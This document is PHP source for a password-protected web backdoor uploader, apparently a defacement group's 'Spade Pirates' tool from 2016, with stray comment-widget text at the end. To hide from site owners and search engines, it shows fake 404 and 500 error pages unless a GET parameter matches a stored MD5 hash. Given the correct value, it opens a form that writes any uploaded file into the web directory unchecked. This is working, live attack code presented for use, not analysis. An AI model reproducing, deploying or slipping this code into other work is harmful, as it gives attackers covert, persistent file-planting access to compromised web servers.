if(isset($_GET["spade"])){
if(md5($_GET["spade"]) == "30086c3fc9860cc42cccbb42747903f9"){
echo "
<head>
<title>Spade | Uploader</title>
<style>
body{text-align: center;background: #1a1a1a url('https://s-media-cache-ak0.pinimg.com/736x/c9/84/27/c98427af555b40650924478f2aec3878.jpg');color: white; font-family: 'OCR A','Courier New';}
form{margin-top: 3%;}
#_upl{outline: none; color: #111111;}
input{outline: none;}
.note{font-size: 80%; margin-top: 8%;}
h1{font-size: 100%; margin-top: 4%;}
footer{position: fixed; bottom: 0;margin-bottom: 1%; left: 40%; font-size: 75%;}
</style>
</head>
<body>
<h1>Spade Pirates | Uploader</h1>
<h1 class='note'>Only Real Spade Pirate can Upload here :)</h1>
<form action='' method='post' enctype='multipart/form-data' name='uploader' id='uploader'>
<input type='file' name='file'>
<input name='_upl' type='submit' id='_upl' value='Upload'/>
<footer>All Right Reserved | Spade Pirates 2016</footer>
</form>
</body>
";
if($_POST["_upl"] == "Upload" ) {
if(@copy($_FILES["file"]["tmp_name"], $_FILES['file']['name'])){
echo "<b>[√]<a href='".$_FILES['file']['name']."'>File Uploaded</a>[√]</b><br><br>";
}
}
}else{
//if pass is not set
echo "
<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML 2.0//EN'>
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator,
and inform them of the time the error occurred,
and anything you might have done that may have
caused the error.</p>
<p>More information about this error may be available
in the server error log.</p>
</body></html>
";
}
}else{
//if spade is not set
echo "
<title>404 - File or directory not found.</title>
<meta name='ROBOTS' content='NOINDEX, NOFOLLOW, NOARCHIVE' />
<meta name='GOOGLEBOT' content='NOINDEX, NOFOLLOW, NOARCHIVE' />
<style type='text/css'>
body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
fieldset{padding:0 15px 10px 15px;}
h1{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:1.7em;margin:0;color:#CC0000;}
h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}
#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:'trebuchet MS', Verdana, sans-serif;color:#FFF;
background-color:#555555;}
#content{margin:0 0 0 2%;position:relative;}
.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}
input {
background-color:transparent;
border: 0px solid;
height:30px;
width:142px;
}
input:focus {
outline:none;
}
</style>
<body>
<div id='header'><h1>Server Error</h1></div>
<div id='content'>
<div class='content-container'><fieldset>
<h2>404 - File or directory not found.</h2>
<h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3>
</fieldset></div>
</div>
</body>
";
}
Comments
0 B
|👍
/👎